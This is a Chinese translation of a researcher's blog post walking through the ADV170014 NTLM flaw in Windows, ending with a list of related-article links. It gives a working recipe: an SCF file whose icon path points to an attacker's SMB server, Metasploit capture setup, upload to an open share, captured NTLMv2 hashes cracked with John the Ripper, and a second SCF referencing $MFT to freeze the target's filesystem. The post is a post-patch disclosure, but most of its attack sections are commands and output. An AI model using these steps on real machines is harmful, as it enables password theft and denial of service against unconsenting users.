ADV170014 NTLM SSO 漏洞利用指南
2017年10月,微軟週二補丁日釋出的補丁中有一個可選的安全補丁:ADV170014,,這個補丁修復了NTLM認證機制的一個bug,惡意攻擊者可以利用這個bug竊取使用者密碼hash並可以遠端利用該漏洞讓目標機器當機。
我在2017年5月24日報告了這個bug,微軟官方在2017年10月18日關閉了這個bug。
Microsot花了整整148天來確認檢查問題。
在10月的週二補丁日之後,官方的解決方案已經發布,所以我打算公開漏洞的細節。現在就看系統管理員們會不會安裝這個補丁了,如果他們的系統可以安裝這個補丁的話(我們下面再聊修復的話題)。
漏洞
微軟的NTLM架構有一些缺陷,這個大家都知道,竊取雜湊值也不是什麼新鮮事,一個滲透者攻擊微軟環境做的第一件事可能就是竊取雜湊。
但是,這些攻擊方法大多都需要使用者操作或者流量攔截。
而這篇部落格要介紹的攻擊並不需要使用者進行操作,所有的事情都是在攻擊端完成的,不過要成功的完成這樣攻擊還需要一些特定條件。
攻擊場景
這種攻擊需要在目標機器上有共享資料夾而且沒有密碼保護,這種場景在辦公室、學校、醫院很常見,基本上都是windows系統,可以通過共享檔案來分享音樂、照片和文件。
現在假設有一個使用者“juan”,他在電腦上建立了一個名為“Prueba2”的資料夾,並決定將整個檔案分享給他的團隊。
windows系統建立共享資料夾
現在,我們開啟“Sharing”標籤,修改資料夾屬性,以允許共享檔案並且不需要使用密碼。
開啟共享標籤配置檔案共享屬性
這裡我們可看到共享資料夾的路徑:\\JUAN-PC\Users\juan\Desktop\prueba2,現在我們點選“Network and Sharing center”
網路和共享中心:關閉密碼保護
這裡我們點選“Turn off password protected sharing”(關閉網路共享)選項,這樣就允許任意使用者訪問共享資料夾而且不需要認證。
SCF 檔案
微軟從Windows 3.11開始引入了SCF檔案。SCF檔案是一些純文字檔案,可以讓Windows檔案瀏覽器來執行一些基本的任務。
其實已經有一些基於SCF檔案的攻擊了,但是這些攻擊都需要使用者操作來執行SCF檔案。
來看看兩個最近的例子,來自Defense Code 的Bosko Stankovic發現的攻擊:Stealing Windows Credentials Using Google Chrome(使用谷歌Chrome瀏覽器竊取Windows認證檔案),以及Black Hat 2015上Jonathan Brossard和Hormazd Billimoria演示的攻擊:SMB: Sharing more than just your files(SMB:共享的不僅僅是你的檔案)。
一個基本的SCF檔案結構就像下面這樣:
[Shell]
Command=2
IconFile=\\192.168.1.101\share\test.ico
[Taskbar]
Command=ToggleDesktop
就這麼簡單,值得要說的一點是SCF檔案是Windows很模糊的一個功能,相關的文件近乎於無。
攻擊,竊取雜湊值
要實施這次攻擊,我們打算使用Metasploit,還有一個SCF檔案,SCF檔案可根據下面的程式碼進行建立:
root@sysadminjd:~# cat test.scf
[Shell]
Command=2
IconFile=\\192.168.1.111\share\test.ico
[Taskbar]
Command=ToggleDesktop
root@sysadminjd:~#
192.168.1.111 是我們攻擊機器的ip地址,我們在這臺機器上執行了Metasploit的capture/smb模組:
root@sysadminjd:~# msfconsole -q
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > set JOHNPWFILE /tmp/smbhash.txt
JOHNPWFILE = /tmp/smbhash.txt
msf auxiliary(smb) > exploit -j
[*] Auxiliary module running as background job
[*] Server started.
msf auxiliary(smb)
我們將使用John the Ripper來破解獲取到的雜湊值,這也是為什麼我們設定了JOHNPWFILE選項,將其指向檔案:/tmp/smbhash.txt,我們截獲的windows雜湊值將會存放到這裡。
現在,“Prueba2”檔案是空的(不是空的也行)。
攻擊前的共享資料夾
各項準備已就位,我們將SCF檔案上傳到有共享資料夾,可以使用任何你喜歡的方法:OSX Finder、Windoes檔案管理器,我們在這裡使用smb客戶端的命令列。
root@sysadminjd:~# smbclient //192.168.1.67/Users
WARNING: The "syslog" option is deprecated
Enter root's password:
OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]
smb: \> cd juan
smb: \juan\> cd Desktop\
smb: \juan\Desktop\> cd prueba2\
smb: \juan\Desktop\prueba2\> put test.scf
putting file test.scf as \juan\Desktop\prueba2\test.scf (88.9 kb/s) (average 88.9 kb/s)
smb: \juan\Desktop\prueba2\> ls
. D 0 Mon Oct 23 12:27:15 2017
.. D 0 Mon Oct 23 12:27:15 2017
.DS_Store AH 6148 Tue May 23 17:29:03 2017
test.scf A 91 Mon Oct 23 12:27:15 2017
6527487 blocks of size 4096. 4043523 blocks available
smb: \juan\Desktop\prueba2\>
root@sysadminjd:~#
現在我們將提前製作好的SCF檔案上傳到共享資料夾裡了:
包含SCF檔案的共享資料夾
現在我們的Metasploit Console會顯示如下:
msf auxiliary(smb) >
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:47894338d99abe2f08e2c693618c7323
NT_CLIENT_CHALLENGE:0101000000000000d0046aca1b4cd301d755c3756d5639d800000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:e97b70559f29462e2ca221d31113b9ca
NT_CLIENT_CHALLENGE:0101000000000000a0177dca1b4cd301f59d5c5d52708e3b00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:27:15 -0400
NTLMv2 Response Captured from 192.168.1.67:49163 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:eb8b228b739cc95a12d7e0d89d89e002
NT_CLIENT_CHALLENGE:0101000000000000620389ca1b4cd3017283fc96884767b700000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:4abb0803c4afd1509bfca3bbc566ad70
NT_CLIENT_CHALLENGE:010100000000000076d7742c1d4cd30161b2c77a54bd58fe00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:5eeb82aab85e9663624aaf6500e4d8f8
NT_CLIENT_CHALLENGE:010100000000000046ea872c1d4cd301c7a724adf323918c00000000020000000000000000000000
[*] SMB Captured - 2017-10-23 12:37:09 -0400
NTLMv2 Response Captured from 192.168.1.67:49164 - 192.168.1.67
USER:juan DOMAIN:juan-PC OS: LM:
LMHASH:Disabled
LM_CLIENT_CHALLENGE:Disabled
NTHASH:55a0cb725a5a171cffdccea36fdcd934
NT_CLIENT_CHALLENGE:010100000000000054118f2c1d4cd301f718b1ba2d4efc7800000000020000000000000000000000
正如你看到的那樣,一次上傳會觸發幾次認證請求,這個不用管。
現在我們已經得到了截獲的密碼雜湊值了,我們可以使用John進行破解。
root@sysadminjd:~# cd /tmp/
root@sysadminjd:/tmp# john smbhash.txt_netntlmv2
Using default input encoding: UTF-8
Rules/masks using ISO-8859-1
Loaded 6 password hashes with 6 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
abc (juan)
abc (juan)
abc (juan)
abc (juan)
abc (juan)
abc (juan)
6g 0:00:00:00 DONE 2/3 (2017-10-23 12:27) 75.86g/s 404596p/s 585124c/s 585124C/s abc
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@sysadminjd:/tmp#
John破解出來了雜湊值,登入的使用者“juan”使用了弱密碼“abc”。
攻擊,讓目標機器當機
第二個攻擊,我們可以遠端讓目標機器當機,來看看是怎麼實現的:
我們還是需要可被攻擊的共享資料夾,我們同樣還需要一個SCF檔案,只不過構造有點不同:
root@sysadminjd:~# cat mft.scf
[Shell]
Command=2
IconFile= c:\$MFT\123
[Taskbar]
Command=ToggleDesktop
root@sysadminjd:~#
這個SCF檔案包含一個對$MFT的呼叫,這將會鎖定NTFS檔案系統,關於這個利用在這篇文章裡有過討論(不好意思,只有西班牙語的),或者你可以去網上找找關於這個利用的其它資料。
現在我們將SCF檔案上傳到目標機器上,(再一次使用smbclient):
root@sysadminjd:~# smbclient //192.168.1.67/Users
WARNING: The "syslog" option is deprecated
Enter root's password:
OS=[Windows 7 Ultimate 7601 Service Pack 1] Server=[Windows 7 Ultimate 6.1]
smb: \Z cd
Default\ desktop.ini juan\ Public\
smb: \> cd juan\Desktop\prueba2\
smb: \juan\Desktop\prueba2\> ls
. D 0 Wed May 24 18:08:34 2017
.. D 0 Wed May 24 18:08:34 2017
.DS_Store AH 6148 Tue May 23 17:29:03 2017
1.exe A 7168 Tue May 23 17:29:03 2017
prueba.scf A 92 Wed May 24 18:08:34 2017
6527487 blocks of size 4096. 4156104 blocks available
smb: \juan\Desktop\prueba2\> put mft.scf
putting file mft.scf as \juan\Desktop\prueba2\mft.scf (17.6 kb/s) (average 17.6 kb/s)
就這樣,不需要攻擊者或者被攻擊者進行其他的操作,目標機器現在已經鎖定了檔案系統,然後就靜靜等它重啟了。
受影響的版本
根據微軟官方,從Windows 3.11 到Windows10 的所有版本,不管是桌面版本還是伺服器版本都會受到該漏洞影響。
坦白的講,我只在Windows 7 和 Windows 10上做了測試,然後我就把“鍋”丟給微軟了。
修復方法
微軟釋出了針對這個漏洞的補丁,修改了兩項登錄檔鍵值來關閉作業系統的NTLM。然而這個登錄檔鍵只在Windows 10和Windows Server 2016上有,微軟沒有打算髮布對其他版本的修復補丁。
另一個問題是,禁用NTLM會破壞很多環境,這是微軟他們的擔憂。
我的建議是,使用強密碼,在攻擊之後,攻擊者需要破解獲取的雜湊值,如果密碼足夠複雜那麼破解過程將需要大量時間,足夠讓攻擊者放棄。
更好的方法是:不要無密碼共享資料夾,這樣會比較徹底些。
致謝以及最後的評論
這個漏洞已經存在很長時間了,我已經利用這個漏洞差不多一年了(當然是用在我的滲透測試專案上)。
這個漏洞如此簡單,幾乎任何人都可以利用,不過好的一點是,這個漏洞的成功利用需要特定的條件,而windows預設配置是不會受影響的。
我想感謝微軟SRC,他們辛苦工作來修復這個漏洞,並且提供了針對這個問題的部分補丁,一個針對所有版本windows版本的補丁也是不太可能的。
這個攻擊的發現還得力於來自Defense Code的Bosko Stankovic的傑出工作:Stealing Windows Credentials Using Google Chrome以及 Jonathan Brossard/Hormazd Billimoria 在Blackhat的演講:SMB: Sharing more than just your files。
當然,也感謝大家閱讀這篇略長的部落格。
Cheers!
--------------------------------------------分割線------------------------------------------------------------------
根據原作者的部落格簡單的測試了下,第一個攻擊成功了,獲取了使用者的密碼雜湊。但是第二個讓伺服器當機的沒有復現成功。
譯者測試的環境是Windows Server 2003中文版。感興趣的小夥伴試一試在其他版本的系統能不能復現成功。
本文由看雪翻譯小組 Limp 編譯,來源@Sysadmin Life 轉載請註明來自看雪社群
相關文章
- redis漏洞利用2017-06-21Redis
- ruoyi漏洞利用2024-07-02
- BlueKeep 漏洞利用分析2019-09-20
- CAS跨域SSO例項安裝和配置指南2009-04-28跨域
- Google Chrome 開發者工具漏洞利用2020-08-19GoChrome
- ROP漏洞詳解和利用2022-05-10
- 微軟:ProxyShell 漏洞“可能被利用”2021-09-03微軟
- 漏洞利用查詢工具sandi2017-11-14
- 漏洞利用之資訊洩露2024-04-29
- Metasploit之漏洞利用( Metasploitable2)2020-09-27
- 利用DNS Zone Transfers漏洞工具dnswalk2017-01-03DNS
- WordPress網站漏洞利用及漏洞修復解決方案2019-02-24網站
- RCE(遠端程式碼執行漏洞)原理及漏洞利用2022-03-17
- 漏洞管理平臺『洞察』部署指南2019-07-15
- muymacho---dyld_root_path漏洞利用解析2020-08-19Mac
- Redis 未授權訪問漏洞利用2017-08-04Redis
- NTLM協議與Pass the Hash的愛情2021-06-30協議
- 【漏洞利用】2024Hvv漏洞POC283 個合集分享2024-09-02
- DevOps 團隊的漏洞管理指南2023-12-08dev
- 永恆之藍漏洞利用機制分析2020-08-03
- STRUTS2的getClassLoader漏洞利用2020-08-19
- CRLF Injection漏洞的利用與例項分析2020-08-19
- IORegistryIterator競爭條件漏洞分析與利用2020-08-19
- PHP檔案包含漏洞(利用phpinfo)復現2020-04-24PHP
- Metasploit漏洞利用基礎教程要出版了2019-03-12
- CISA警告駭客利用ZK Java框架RCE漏洞2023-03-01Java框架
- 基於 GDI 物件的 Windows 核心漏洞利用2018-05-09物件Windows
- WebDAV服務漏洞利用工具DAVTest2017-07-27Web
- Linux下堆漏洞的利用機制2016-05-15Linux
- Python2 input函式漏洞利用2024-06-05Python函式
- phpcms網站漏洞修復遠端程式碼寫入快取漏洞利用2018-12-03PHP網站快取
- 記憶體安全週報第91期 | 微軟在所有Windows版本中修復了全新NTLM中繼0day漏洞2022-05-20記憶體微軟Windows中繼
- cve-2014-0569 漏洞利用分析2020-08-19
- Linux堆溢位漏洞利用之unlink2020-08-19Linux
- 乾貨丨windows核心www漏洞利用手法2020-02-04Windows
- 利用redis未授權訪問漏洞(windows版)2021-05-30RedisWindows
- 黑客利用漏洞,為Youtube網紅技術打Call2019-01-04黑客
- 某知名系統漏洞挖掘與利用思路探索2022-09-19